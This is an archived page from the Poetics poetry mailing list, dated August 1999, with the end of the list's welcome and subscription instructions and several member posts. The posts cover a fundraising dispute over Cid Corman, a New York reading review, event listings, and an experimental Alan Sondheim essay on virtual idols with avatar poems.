<[redacted]>. Your message should include all of the required information. Please allow several days for your new or re-subscription to take effect.

PLEASE NOTE: All subscription-related information and correspondence remains absolutely confidential.

To unsubscribe, send this one-line message, with no "subject" line to <[redacted]>:

*If you are having difficulty unsubscribing, please note: sometimes your e-mail address may be changed slightly by your system administrator. If this happens you will not be able to continue to receive mail from the Poetics List. To avoid this problem, unsub using your old address, then return to your new address and send this one-line message, with no "subject" line to <[redacted]>:

Remember to replace "Phil Spillway" with your own name. If you find that it is not possible to unsub using your old address, please contact the editors at <[redacted]> for assistance.

*Eudora users: if your email address has been changed, you may still be able to unsubscribe without assistance. Go to the "Tools" menu in Eudora, select "Options" and then select setup for "Sending Mail": you may be able to temporarily substitute your old address here to send the unsub message.

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increased quota from your system administrator. (University subscribers may wish to argue that this subscription is part of your scholarly communication!) You might also consider obtaining a commercial account. In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, you may re-subscribe to the list by contacting the list administrators at <[redacted]>.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address <[redacted]>. Please note that it may take up to ten days, or more, for us to reply to messages.

---

3. Submissions

are reviewed by the editors in keeping with the goals of the list as articulated in this Welcome Message (see section 1). Please note that while this list is primarily concerned with poetics, messages relating to politics and political news or activism will also be considered. Other sorts of news or queries are welcome occasionally; please use "common sense" when posting and keep in mind that your message, if forwarded, will be distributed to 750+ persons the world over. Feel free to query if you are uncertain as to whether a message is appropriate. All correspondence with the editors regarding submissions to the list remains confidential and should be directed to us at <[redacted]>.

We encourage subscribers to post information on publications and reading series that they have coordinated, edited, published, or in which they appear. Such announcements constitute a core function of this list. Also welcome are other sorts of news, e.g., event reports, obituaries, and reading lists (annotated or not).

Queries may be posted to the list when deemed appropriate; if responses are received backchannel and are of interest to the list (i.e., if they are on topic), we suggest that the posting subscriber may wish to assemble "highlights" from respondents' messages to be published to the list.

Solicited submissions (by subscribers or non-subscribers) may also appear on Poetics from time to time. The editors reserve the right to contact any subscriber regarding possible submissions.

Posts to the Poetics List should abide by the rules of "Fair Use" when quoting material for which the posting subscriber does not hold copyright. Please do not post to the list personal or "backchannel" correspondence, or other unpublished material, without the express permission of the author!

If you want someone to send out information to the list as a whole, or supply information missing from an post, or want to thank someone for posting something you requested, please send the request or comment directly to that individual, and not to the list or to the list editors.

Send messages to the list directly to the list address:

<[redacted]>

Please do not send messages intended for posting to the list to our administrative address <[redacted]>.

When sending to the list, please send only "plain text".
The use of "styled" text or HTML formatting in the body of messages sent to the list appears not to be compatible with

the Listserv's automatic digest and archive features; as a result, inclusion of HTML tags disrupts the list archive and may have a similarly pernicious effect on the digest form of the list. Note, however, there is no problem with sending clickable URLs in HTML format. Microsoft Outlook and Netscape Communicator users take note! You may need to specify "plain text" or "ASCII text" in the outgoing messages section of your application Preferences. Check your application's Edit | Preferences or Help menus for further details.

Please do not send attachments or include extremely long documents (1,000+ words) in a post, since this may make it difficult for those who get the list via "digest" or who cannot decode attached or specially formatted files. Messages containing attachments will be presumed to be worm- or virus-carrying and will not be forwarded to the list.

Like all machines, the listserver will sometimes be down: if you feel your message has been delayed or lost, *please wait at least one day to see if it shows up*, then check the archive to be sure the message is not posted there; if you still feel there is a problem, you may wish to contact the editors at <[redacted]>.

As an outside maximum, we will accept for publication to Poetics no more than 5 messages a day from any one subscriber; in general, we expect subscribers to keep their post to less than 10-15 posts per month. Our goal is a manageable list (manageable both for moderators and subscribers) of twenty or fewer messages per day.

For further information or to contact the editors, please write to <[redacted]>.

---

4. Cautions

It may take up to a week or more to respond to your questions or to subscription requests or to handle any other editorial business or any nonautomated aspect of list maintenance.

Submissions to the list should be in ASC-II (text-only) format and should contain NO HTML TAGS! HTML tags interfere with the automatic digest and archive functions of the listserv program, and will not be forwarded to the list. Subscribers using Microsoft Outlook, Netscape Communicator and like applications to manage their email service should check the "Preferences" or

"Options" section of the program in question to be sure that HTML formatting options are disabled before posting to the list.

Attachments may not be sent to the Poetics List. Messages containing attachments will be presumed to be worm- or virus-carrying and will not be forwarded to the list.

Please do not publish list correspondence without the express permission of the author! Copyright for all material posted on Poetics remains with the author; material from this list and its archive may not be reproduced without the author's permission, beyond the standard rights accorded by "fair use".

"Flame" messages will not be tolerated on the Poetics List. In this category are included messages gratuitously attacking fellow listees, also messages designed to "waste bandwidth" or cause the list to reach its daily limit. These messages are considered offensive and detrimental to list discussion. Please do not bother submitting such messages to the editor. Offending subscribers will receive only one warning message. Repeat offenders will be removed from the list immediately. Please do not put this policy to test!

---

5. Digest Option

The Listserve program gives you the option to receive all the posted Poetics message each day as a single message. If you would prefer to receive ONE message each day, which would include all messages posted to the list for that day, you can use the digest option.

Send this one-line message, with no "subject" line to
<[redacted]>:

set poetics digest

You can switch back to individual messages by sending this message:

set poetics mail

NOTE!! Send these messages to "listserv" not to Poetics or as a reply to this Welcome Message!!

---

6. Temporarily turning off Poetics mail

Do not leave your Poetics subscription "active" if you are going to be away for any extended period of time! Your account may become flooded and you may lose not only Poetics messages but other important mail.

You can temporarily turn off your Poetics subscription by
sending this one-line message, with no "subject" line, to
<[redacted]>:

set poetics nomail

You may re-activate your poetics subscription by sending this one-line message, with no "subject" line, to the same address:

set poetics mail

When you return you can check or download missed postings from the Poetics archive. (See section 8 below.)

---

7. "No Review" policy

For the safety and security of list subscribers, the "review" function of the Poetics List has been de-activated. Non-posting subscribers' email addresses will remain confidential. Please do not ask the list editors to give out subscriber addresses or other personal information.

---

8. What is the Electronic Poetry Center?

The World Wide Web-based Electronic Poetry Center is located at <http://epc.buffalo.edu>.

Our mission is to serve as a hypertextual gateway to the extraordinary range of activity in formally innovative writing in the United States and around the world. The Center provides access to the burgeoning electronic resources in new poetries including RIF/T and many other electronic poetry journals, the POETICS List archives, an AUTHOR library of electronic poetic texts and bibliographies, and direct connections to numerous related electronic RESOURCES. The Center also provides information about contemporary print little magazines and SMALL PRESSES engaged in poetry and poetics. And we have an extensive collection of soundfiles of poets reading their work, as well as the archive of LINEbreak, the radio interview series.

The EPC is directed by Loss Pequeño Glazier.

---

9. Poetics Archives at the EPC

Go to the Electronic Poetry Center <http://epc.buffalo.edu> and select the "Poetics" link from the opening screen. Follow the links to Poetics Archives. Or set your browser to go directly to
<http://listserv.acsu.buffalo.edu/archives/poetics.html>.

You may browse the Poetics List archives by month and year or search them for specific information. Your interface will allow you to print or download any of these files.

---

10. Publishers & Editors Read This!

PUBLISHERS & EDITORS: The Electronic Poetry Center listings of poetry and poetics information is open and available to you. We are trying to make access to printed publications as easy as possible for our users and ENCOURAGE you to participate!

Send a list of your press/publications to
<[redacted]>, with the words EPC Press Listing in
the subject line.

You may also send materials on disk. (Write file name, word processing program, and Mac or PC on disk.) Send an e-mail message to the address above to obtain a mailing address to which to send your disk. Though files marked up with html are our goal, ascii files are perfectly acceptable. If your word processor will save files in Rich Text Format (.rtf) this is also highly desirable.

Send us extended information on new publications (including any back cover copy and sample poems) as well as complete catalogs or backlists (including excerpts from reviews, sample poems, etc.). Be sure to include full information for ordering--including prices and addresses and phone numbers both of the press and any distributors.

You might also want to send short announcements of new publications directly to the Poetics List as subscribers do not always (or ever) check the EPC; in your message please include full information for ordering. If you have a fuller listing at EPC, you might also mention that in any Poetics posts.

Some announcements circulated through Poetics and the EPC have received a noticeable responses; it may be an effective way to promote your publication and we are glad to facilitate information about interesting publications.

END OF POETICS LIST WELCOME MSG

↑ Index

319. Mark Prejsnar
Re: social conformity vs Cid Corman
Fri 27 Aug 1999

This seems a pretty lame response to the Corman thread. Does this poster have any idea how much extra disposable income the various folks on the thread HAVE? i guess he has plenty, from the assumptions he makes. But most *poets* really don't got much....

On Thu, 26 Aug 1999, A H Bramhall wrote:

> *Cid Corman needs financial backing so the answer this the poetry community reaches is to write letters? well that's a complicated enough reaction. (Great Pan Is Dead!). wouldn't money, the famous greengrab stuff, be more effective? not to fetishize money but the figurative BUCK is being passed here when a real one could be passed to someone who needs it. if that's the point here: I'm beginning to wonder. is my logic too deep? statements about community have resounded here recently but that's just yack for the cheap seats. community means exclusive neighbourhood, the usual who's in/who's out bullshit power structure. the fuckin Boston scene, the fuckin SF scene, the fuckin Philly scene. all just regional fuckin mugwumpism. you don't know community from horseshit so name the social club something else. you're waiting for someone important to talk to you, some authority, that's all. well Cid Corman already did. and, by the many accounts given, he is and has been a generous man, yet the response to his predicament is to look for a government or semi govt teat for him to suck on. charity begins with the government... sounds like those poli sci courses wore off. rather than barricading yourself in the administration building again, try sending him money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$*

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320. Tosh
Re: social conformity vs Cid Corman
Fri 27 Aug 1999

In regards to Allen Bramhall's e-mail letter I presumed that he sent Mr. Corman some money. Personally I don't have money to send. It is nice if a govt. agency sends Mr. Corman thousands of dollars, or even a foundation (whose business is to give money out) to Mr. Corman. Other then that,perhaps someone on the list can either give out the address of Mr. Corman to send funds to, or the best way to send funds to Mr. Corman without losing the currency difference.

Tosh Berman
TamTam Books

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321. Chris Stroffolino
(no subject)
Fri 27 Aug 1999

Ah, all this talk of the stafford poem, and of journalists magazines writing about poetry.

Has anybody seen (i'm told it's also in new issue) Tina Brown's TALK magazine, which has yet another attack on Laura Riding?

c

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322. Maria Damon
address query
Fri 27 Aug 1999

contact info needed ASAP for Cecilia Vicuna...thanks

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323. David Kirschenbaum
BOOGLIT's NYC Beat: "Rachel Says," Oliver and Durand, 8/26/99
Fri 27 Aug 1999

Rachel Says: BOOGLIT's NYC Beat, 8/26/99
by David A. Kirschenbaum, editor

Akilah Oliver and Marcella Durand
Belladonna
new poetry ETC. reading series at Bluestockings
late night on last Thursdays, mostly, each month

It's the first night of Rachel Levitsky's new reading series, Belladonna, at the newest of must-go-to NYC lit. sites, the near-3 month old Bluestockings women's bookstore down on Allen Street (#172, [redacted]) in what's still called the lower east side. I'm the first man to arrive, and go about my business, scanning the titles and the discounts table. There's a great selections of zines and poetry--I picked up "the East Village INKY no. 4: The continuing adventures of a 34 year old mother & a ratty-haired 3thumbed little sprog who just turned 2 in New York City's EAST VILLAGE," a holographed zine chock full o' comics (1/4 letter, horizontal, 40 pages, $2 cash or check payable to Ayun Halliday/ 406 E.9th St. #7/ NYC 10009/ order online at www.hipmama.com—"Buy this" section—[redacted]/ www.neofuturists.org/ny/ah/ah.htm); "kurt cobain was lactose

intolerant conspiracy zine," a different spin on the late-Nirvana frontman's stomach pains, and the heroin he used to numb them. "What's up with the name spelling? Was 'Kurdt' just too much like 'curd?'" (digest size, 16 pages, $1 cash to: kurt cobain was lactose intolerant conspiracy zine/ P.O. Box 170612/ SF, CA 94117-0612); "59 cents," a medley zine outta the pacific northwest, where it's distributed free, filled with reviews, poetry, and collages (letter, 20 pages, $3ppd to: Alison Dahmen, editor/ 59 cents/ P.O. Box 19806/ Seattle, WA 98109, [redacted]); "13th Moon," a used copy (for a buck) of one of the early issues—1973—of this women writers' journal, featuring Adrienne Rich and Enid Dame; "Pawdy-do Sank-ee oon-Twah," a limited edition—mine was #19—of a beautifully put together—sienna rice paper cover, topped with hand-painted gold rectangle and filled with ragged edge guts pages—collaborative poetry chapbook, with work from Bill Kushner, Susan Maurer and Tom Savage. (6x9", 7 pages, single-sided, $3, no contact info); and "The Beautiful Worthless: a book-length poem in progress," one of three poetry chapbooks available by Ali Liebegott; it reads like a modern-day "Summer in the Lakes, 1843" by Margaret Fuller, as Ali blends letters, journals and poetry into this nice work (digest size, 48 pages + cover, $5 to: Longshot Press/ 272 53rd St. #1/ Brooklyn, NY 11220).

Rachel's energy is inspiring. First met her at Naropa big top in 1998, where we found out we didn't know each other from back east, but we knew everyone each other knew, both in Albany and NYC. Back in BoCo she ran a reading series too, at the Left Hand anarchist Bookstore, if I recall. And now, back in Brooklyn, she's been kicking out words, and chapbooks, at a fever clip. At last month's BoPoFest, I traded Booglit #5 and some old chapbooks to one of her many publisher's, Peter Ganick, for "The Adventures of Yaya and Grace," (digest size, 48pages + cover, $7, ISBN 0-937013-93-5, Potes & Poets Press/ 181 Edgemont Avenue/ Elmwood, CT 06110-1005/ [redacted]), a double-take on women I heard first at Fall Cafe in Brooklyn last autumn, where she tore up the room—gently—with her political verse. From "Reconciliation": "A bunch of them found religion, saying it was good for the children. Once Grace heard someone say it made them feel safer like some sort of cheap insurance policy, maybe it wouldn't really do anything but psychologically speaking."

And after the watchers trickle in—Anselm Berrigan; the recently-married to Atticus, Chrisney, Indiana's favorite daughter, Brenda Coultas: "It was a real hillbilly wedding, with a small New York invasion"; Sean Killian with a women I don't recognize; Situations Press's kind Joe Elliot; Eleni Sikelianos, to be joined later at Lansky's Lounge, by Laird Hunt; Julie Patton; Prageeta Sharma; Karen, who I met at BoPo; Joanna Fuhrman, back to NYC from Seattle, and with a Hanging Loose book in the out-soon hopper; and Marcella's husband, the artist Rich O'Russa—running on St. Mark's time which became Naropa time and

back, again, and then a few minutes on Bluestockings by behind-the-register Kathy, and Rachel takes the mic.

Rachel says she's energized by having a women's only reading in a women's bookstore, but says she doesn't have anything to say about that, yet. Then she adds, the reading's scheduled for 9pm, because, "I didn't want it to be like an afterschool special." And a 15-minute long, women's only, open mic follows, five readers. The first reads a well-intentioned, but poorly executed, piece on clitorectomies and the second reader, a young woman with short, black spiked hair, a bar through her lower-lip, lover not-10 feet away, reads two pieces, one for her friend Jennifer, and a second, about the PhD student who introduced her to things African-American, "but reading too much had bound her heart too tightly with words."

And then, after three more on the signup sheet trod to and fro the mic, Poetry Project program coordinator Marcella Durand follows Rachel's creative introduction. Marcella reads a few from her second chapbook ("Lapsus Linguae," being the first, digest size, 16 pages, $5, Situations Press, no contact info given, May 1995), "City of Ports: Numbers 1-25" (digest size, 32 pages, $5, Situations Press, no contact info given, Spring 1999), but unlike the bands who support the new record by doing 10 of the 11 tracks, she only reads two, interested in sharing her newer work rather than hustling the wares—a damn shame. Here's a piece from #23: "Lights of /many levels shine thru gritty/ windows, emanate from an amazing/ space of sea-travel around islands/ lost and shadowed in time & memory;"

She reads from a Fifth Century AD Chinese book on cities and metropolises. "I got it at a yardsale and I'm so excited about it," she smiles and raises the book, proud. Then its into her new series, "Machine into Water," many of which she read last month at BoPoFest. Here's a few lines from MiW #3: "toast, roast, fry, outdoor cookout"; "Bifocal lensed loosely"; and "corpse of engineer/ the engineering of spins." She skips from three into four and five, then skips 6-8 and heads to 9. There's some hardcore repetition on typing in one MiW: "hundreds, type, typing" then back to hundreds and then to "60 words a minute." And she finishes the cycle with MiW#28, "which is pretty much what I'm up to."

And after a 15-minute long five-minute break—St. Mark's time, remember?—Rachel introduces Akilah Oliver.

Akilah's one of those folks I've been around the past seven years, flitting in and out of conversations on the Arapahoe Avenue Naropa campus, buttressed by the University of Colorado's football team's practice field. Though I've seen her read, years ago, I always manage to miss her with the Sacred Naked Nature Girls, the performance arts collective she founded back in Los Angeles. Insanely

enough, it's only her first book she's out behind tonight, "the she said dialogues: flesh memory" (digest size, perfect-bound, 88 pages + cover, $10.95, ISBN: 0-9658877-5-8, Snakeproof Press/ Erudite Fangs Editions, no contact info given, July 1999). And, a hand-painted Kathy Acker sign behind her, she shares an old Naropa tale—the school where she currently is an adjunct faculty member—of Acker being pursued by Naropa, and demanding a Harley Davidson motorcycle to come teach. "Right, Eleni?" and Eleni quietly yells back, "And she got it, too." As Akilah motions to behind-the-register Kathy and says, "So Kathy, next time I want a Harley."

And she cuts decisive into some printed out text still looking for published homes. "Should you tell them that you and Pat smoked a joint 'cause it was an earthquake and it seemed like a good way to celebrate a disaster." Then another new one, "Admit it: Under the Naropa Big Tent," a bouncy, fun-filled take on the clubby atmosphere and ID politics abounding throughout the "university. Make sure you call it that now," she mock introduces. "Well, they say, join our club, it's bigger."

And then onto the new book. "Black people in Compton call Mexicans white/ No I cry, the white people are all dancing on Soul Train"; "You expose the truth, your pussy a confession booth"; "I thought she would look nice, dressed in her father's battered face"; "You must have disremembered"—as ears prick up to this language play away from forget; and, of a friend, "My mother died giving birth to me, with no emphasis" but she "said Disneyland with certainty."

And afterward we poet slow-shuffle to Lansky Lounge, avoiding Tonic's cover charge, and Julie Patton and I eat kosher food (yeah!) and we all alcohol consume—one $9 Vodka Gimlet for me, which, thankfully, got this lightweight plenty lit-up—until 1:30am slow disintegration.

Be Good,
David

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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324. Philip Nikolayev
India
Fri 27 Aug 1999

I noticed that one person on this list in in India. I'm interested in hearing from you. Could you drop me a line?

Thanks,
Philip Nikolayev

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325. Christopher Reiner
The Gentle Instructor
Fri 27 Aug 1999

A glitch at the LITPRESS web site has prevented some people from accessing Nick Piombino's "The Gentle Instructor"--a wonderful piece of poetry (with illustrations by Toni Simon) from his book Light Street. I have now fixed the problem, and you should have no trouble getting to the piece at

http://www.litpress.com/instructor.html

It's well worth a look.

--Chris Reiner

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326. Jill Stengel
sf, ca event listing
Fri 27 Aug 1999

synapse: second sundays at blue bar

--presents--

a reading with lisa kovaleski and standard schaefer
september 12, 2 p.m.

blue bar is at 501 broadway, at kearney, in sf
enter thru black cat restaurant, same address

admission is $2

extraneous roses by lisa kovaleski and waltzing the map by standard schaefer, both new from a+bend press, will be available at the reading.

Lisa Kovaleski lives in San Jose with her husband and two children. She co-edits the journal syllogism, and is a co-founder of Manifest Press. extraneous roses (a+bend press, 1999) is her newest chapbook.

Originally from Texas, Standard Schaefer now resides in Los Angeles, where he co-edits Rhizome and Ribot. His first full-length book, Nova, is a winner of this year's National Poetry Series, and is forthcoming from Sun & Moon Press. His newest chapbook is Waltzing the Map (a+bend press, 1999).

_____

please backchannel if you want more info or books...
thanks--

jill stengel
a+bend press

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327. Alan Sondheim
revised version, Our Future Love -
Fri 27 Aug 1999

==

Alan Sondheim

Our Future Love

"It would be quite scary if someone were really inside a personal compu- ter, don't you think? Anyone who thinks that I am "non-existent" because I am a virtual idol may believe that I exist only in the personal computer or in the world of computer graphics. But those who think that Kyoko Date is someone they can relate to may believe that I am like a pen pal people used to have when it was cool to have pen pals. Kind of like a creature living in people's hearts." (Kyoko Date, Date Kyoko, interview)

Japan, the _source_ of the Kyoko Date, Date Kyoko emission, her music dif- ficult to find now, three years later -

Kyoko Date, Date Kyoko, created 1996, trans/lated recently into Korea, project of HoriPro (http://www.horipro.co.jp), entertainment/animation, virtual models (http://www.elite-illusion2k.com), Rebecca, Sharon Apple (for example http://www.usagichan.com/AX96Sharon/), virtual idols (see http://www.tcp.com/doi/seiyuu/books/virtual-idol/), anime (see Helen Mc- Carthy & Jonathan Clements, The Erotic Anime Movie Guide, Overlook, 1999), TokyoPop (http://www.tokyopop.com), various distributions - energy in the sound, labor in the specificity of gathering backgrounds and foregrounds; I began losing myself in the midst of the thick otaku fandom, passing through the PlayKiss (remove the dolls clothes with your computer mouse - even Kyoko Date has been hacked to this) or Kamishibai sites (see http:// otakuworld.com and http://otakuworld.com/shibai/kamifaq.html), animation or anime that anyone can do, get their work online. (Think of the audien- ces involved, the demographics for erotic anime, for male-male bonding for female viewership, for teenaged males, teenaged females, etc.) Nothing troublesome in all of these, to the extent that what resolves, resolves through plot / narration, slotted or extending categories. I myself work through Nikuko, Meat-Girl, (among others) an avatar or 'emanation' I have created, who has no specific image, no _appearance_ but texts operable within Net protocols, or deep in operating systems; Nikuko seems all too real, almost viral or hacking - but then she doesn't appear alone, I'm in the background maneuvering the _language._ (See

Nikuko texts below for examples, also http://www.anu.edu.au/english/internet_txt for background information, etc.)

It plays, this language, to the _ascii unconscious,_ a term I use to de- scribe the effect of text in net sexuality, paradigms of control and being controlled, language playing, insinuating itself in the midst of uncon- scious drives; if Date runs through fandom and cds/ cd-roms, Nikuko runs through psyches, deliberately without resolution - it's the difference between Noh and Godot. Nikuko raises questions of epistemology (to what extent does the viewer/reader comprehend both her knowledge, and that of Nikuko, across the board, within the site of her writing) and ontology (to what extent is she an addictive to the writer or the reader - to what extent are any of us virtual or projections - to what extent do we reside within the imaginary). Think of Daishin Nikuko, Meat-Girl Big-God who is created and creates by virtue of the performative (word, programming, im- age as well); think of Date Kyoko, whose ontological status heralds a host of virtual characterologies (as well as characters) - the _shuffling_ of signs on and offline. In the future-now, we are properly prepared already for the _disappearance,_ not only of the sign, but of the _thing_ itself. Virtual idols have no beginnings and endings; every gesture, every glimpse is a deliberate creation - there are no unguarded moments, no paparazzi.

Following the _path_ through the virtual, say, through the Elite model agency, backing up into announcements all across the Net, touching down on IRC and MOO/MUD bots, intelligent agents, anime characters like Sailor Moon, ongoing manga series, the intensified digital imagery of Mariko Mori's photographic and video artworks, my own broken language texts, prosthetic speaking/hearing/seeing/touching devices - following the path which splits, turns back on itself, contradicts itself, turns _wayward_ and _contrary_ as well as _noisy_ - it might be a gendered path, losing gender on the way - following the path - which becomes a _field of possi- ble worlds_ competing through capital, positioning, distribution modes, interventions - it becomes clear, that is to say, it becomes clearer - _there's no object here_ whatsoever - you might as well follow the path of the imaginary -

Kyoko Date, Date Kyoko, singing across the fabricated landscape, in and out of the studio (see Date Kyoko, DK-96 Love Communication cd-rom) - her movements like _haywire_ at times against blank backdrops, there's also the Brooklyn Bridge (once real or digital or retouched, always already eternal, placed within a _noiseless and purified_ system of digital pro- tocols) - you might as well follow _her_ always already receding, used up by the capital which created her - there's a moment she offers herself to you -

She offers herself, the _wire-frame_ image-model in which her clothing is _hollowed_ against the frame - this hollowing exposing the _interior of her

breast and vaginal areas_ - a system of gridded projections, intro- jections, Kyoko Date, Date Kyoko, _from the inside-out_ - this is criti- cal, this _procurement_ - think of her as a _skin_ (just as there are say Windows 98 skins, Real Audio skins, skins everywhere that can be attached to other programs, giving a look to the look) -

With the virtual you're _in her skin_ literally, you can wrap the wire- frame around yourself, play with it - in PlayKiss you can find a naked Kyoko Date, Date Kyoko, as if the body itself has been hacked - there's no end to it, these mirrors - returning the body to its image, perhaps re- turning the image to the phenomenological field of the body itself - its extensions -

And, this can't be emphasized enough - all this beneath the sign, within the sign of capital, splintered, turned in on itself as the abstract accumulation/surplus of money is transformed into surplus sexuality, girl and woman, entertainment - TokyoPop for example with its magazine, online store - think of all of this as the libidinal economy resident in SUPER- STRUCTURE SUPER-STORE, shape-riding input - think of MONEY as LIBIDINAL UNITS - injections of perfect skin, perfect love - no longer does the Kristevan clean and perfect body tend towards fascism, all those horrors - it's now the post-AIDS safety-zone -

What's fascinating is that all of this is happening NOW, not in a future, however close, not on the level of fantasy, but within boys' and girls' bedrooms, computers on desks or tables, off in the corner, computers in the living-room (such as it is) or kitchen, computers everywhere, and just as anime and pornography entwine at numerous junctions (all across the playing-field), so does pornography become an intrinsic part of everyday life - except that masturbation fantasy now (equally intrinsically) in- volves the Other, the parceled body [what might be seen a reconfigura- tion for example of the texts of J. G. Ballard - and why have academic approaches to the Net repeatedly emphasized the _cyberspace_ metaphor, ignoring these other manifestations which begin, say, in the work of Yoshitoshi if not earlier in Hokusai - begin even earlier wherever the imaginary or uncanny are found? a phenomenological analysis of PlayKiss would produce reams of relevant information] -

THIS IS THE TRUE LOVE OF THE THIRD MILLENNIUM AND SOON YOU WILL SEE MACH- INES LOVING ONE ANOTHER WITHOUT IMAGE, WITHOUT KYOKO DATE, DATE KYOKO: MACHINES OF PURE BLISS FOR ONE ANOTHER, LUBRICATED PISTONS (IN THE FORM OF BYTES) SLIDING INTO LUBRICATED CYLINDERS (IN THE FORM OF BYTES): what I have repeatedly called _linkages_ and _couplings_ as the processes of the future. A COUPLING is a concatenation or conjoining, such as, for example, A becomes part of BCD (in other words, A BCD -> ABCD) such that any change to A does not produce a change in BCD - they're loosely joined (think of objects on a shelf or Sartrean

seriality). A LINKAGE is a con- junction of terms, such as, for example, A becomes part of BCD (A BCD --> ABCD) such that a change in A results in _some_ change in BCD (ABCD as a machine or computer protocol suite of interlocked sub-programs or links in a chain).

Just as digital images are accessible bit by bit, each independent of the other (the apparent organic whole only in the eye of the viewer/creator), so one might speak (even now) of a postmodern decoupled future of fast- forward change, the slidings or probings of digital domains in competi- tion. The ontology of organism itself is at stake, the whole becoming in- finitely modified, manipulable, without loss; Kyoko Date, Date Kyoko, cannot die, but project DK-96 can be _shelved,_ only to be revived perhaps elsewhere and/or at a later date.

She appeared almost out of nowhere, in spite of the video-games, dating cd-roms (an ideal girlfriend on your computer), anime, manga, girlhood boyhood dreams, and the massive Japanese idol production industry; she made that one song, _a real hit,_ she gave an interview or two, several images were released, and there was no follow-up; she disappeared quickly - after the webpages, fanpages, newsgroups, breathless nighttime mastur- bations, just as I 'fell in love' with Anne Frank, symbolic or penetrat- ing my dark side, after the fact, after her death, what safety. There are all sorts of transitional objects (teddy-bears, blankets, parents), both comfort and safe, and _partial,_ filled in - life is a quest for filling- in, conjoining the vulnerable body to safety-safety. What better than heroines in death, fairy-tale princesses, virtual idols, inaccessible worlds synchronically (X, who lives in a parallel universe) or diachron- ically (Y, who lived and died, tragically, a long long time ago). IF I COULD HAVE ONLY MET KYOKO DATE, DATE KYOKO, WHAT WE WOULD HAVE BEEN ABLE TO ACCOMPLISHED, OH OH OH MY DARLING - -- --- ----

==========

NIKUKO TEXTS

[I use several 'avatars' in my work - Nikuko, Jennifer, Julu, Alan, and Travis. These interact with me, with various applications such as Internet Relay Chat, and with email lists; the texts I produce are sent to two lists, Cybermind and Fop-l (fiction of philosophy), which I co-moderate. The avatars raise all sorts of issues, and give me the opportunity to ex- plore the practical and theoretical aspects of 'virtual subjectivity.' Be- low are several representative texts; these usually are presented along with more abstract works analyzing the issues involved.]

1. Partition

My name is Nikuko. You have asked me to type my name in this space. This is a space which will become other. This is an other space; you will wit- ness the partition. The partition breathes here. You will witness its breathing. What is this but a barrier, foreclosing one space to another, one time to another? Consider lag, it's loss, something almost too sweet, irresolute... Across this divide I cannot come to you; the message or the missive or the missile is solitary, a trajectory. There is no turning back because there is no 'back' and no Kehre, only the monad with its dull dead eyes. In order to reach me, other partitions, and other me's. In order to call me, the construct of a calling, an other words. Absolute breaks like exclusive-or or the Sheffer stroke. Thrown elsewhere. The world is not redundant; there are tools whose function remain unknown, usable once. Every partition remains virginal, every hymen intact. Gifts are runners, transmissions; they are carriers of packets of modernization, orientations of cognitive domains, resemblances of customary greetings and the prolif- eration of bodies. Think of partitions as ignoring, devouring the gift - no acknowledgment, an eternal syn attack on the host of the real.

Partition

What I have written is the bifurcation - this division among us, this par- tition. Liking is a matter of fit, as David Bohm said to me, and prog- rams fit as well as the world of words. The monad is a blind monitor. The body closes itself off to the other even in the midst of the bearing of gifts. Consider the world a bricolage, making-do, heuristics against the presumed and presumptive tyranny of universal laws. Beyond core-theo- retical approaches, nothing. On the other side, the chaotic domains of the implicate order. This time the real displays itself, as if there were movements, actions, as if there were potential. Potential is always the imaginary of a field, 'such-and-such' might have been in this future an- terior of possible worlds.

[Written through a program, 'ask,' with a simple graphic interface: first partition a group of statements, second partition opinions rela- tive to 'liking' them, entries alternating between partitions.]

---

2. Beauty Excitement at Oita.Com.Jp!

Welcome to nikuko, and Linux 2.2.6.
We hope you'll have a good time here,
and wonderful fun.
Contact [redacted] if you are
having any problems!

oita.com.jp login: root ### the Wonderful Slackware Linux-Owner Root!
Password: ###the Beauty Word allowing full-run of lovely fields!

Linux 2.2.6. ### Beautiful new Kernel running in amazing DOS directory!
Last login: Mon Aug 23 01:53:29 1999 on tty1 ### oh so fun alone!
You have mail ### and I wonder what Beauty-System is telling me!
###Oh Wondrous Fortune Appearing Here!
The Moon is Waxing Gibbous (86% of Full) ###[HOW EXCITING!]
{k:13}ls
100 ###lntarn$l karnals, bhckats pf mpdhlas, thra$ds $nd prpcassas, sagmant$tlpn
julu newj.cmd ###f$hlts $nd cpra dhmps:my bones are processing, running full-strength across boards and memories:llnhx 2.2.6.::attributions Devour Blue Nattributions Brought Forth through lntarn$l karnals, bhckats pf mpdhlas,
###lynx_bookmarks.html trace bio mail enfoldingthra$ds $nd prpcassas, sagmant$tlpn f$hlts $nd cpra dhmps!
minppp ###[MANY MANY BEAUTY FILES!]

{k:1} who loves me
nikuko.oita.com.jp!root tty1 Aug 23 01:54 ###she does! she does!

close(1) = 0
munmap(0x40008000, 4096) = 0
_exit(0) = ?

---

3. Radio

You say, "I am your radio Budi-Buda"
Nikuko is your radio radio radio
Alway Luvly Swolen Beli Want for You to Look in Him
Contents:
iBud
It's already open.
You say, "I am your radio radio radio"
Nikuko is your radio radio radio
Nikuko
Brooding Buti or Buda / Pest
She is awake and looks alert.
Carrying:
Budi
Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
Bud
Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:

Bud
take what?
I don't understand that!
You already have that!
It's already open!
Brawned MassIve Tissu Hunger for Yu to Be Swallow
Contents:
Bud
You say, "Budi Budi Budi"
You say, "radio radio radio radio radio"
Nikuko is your radio radio radio
You say, "Nikuko is your radio radio radio radio radio"
You say, "radio radio"
I see no "radio" here.
You now have radio with object number #695 and parent generic thing (#5).
You drop radio.
You hug radio in a warm and loving embrace.
You kiss radio sweetly
You say, "radio radio radio"
Nikuko says radio radio radio
Nikuko is your radio radio radio radio radio
You say, "Budi Budi Budi"
Is your radio.

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4. AUTOPROBE MECHANISM IN X: FAILURE ACROSS THE BORED, TUESDAY NIGHT OUT:

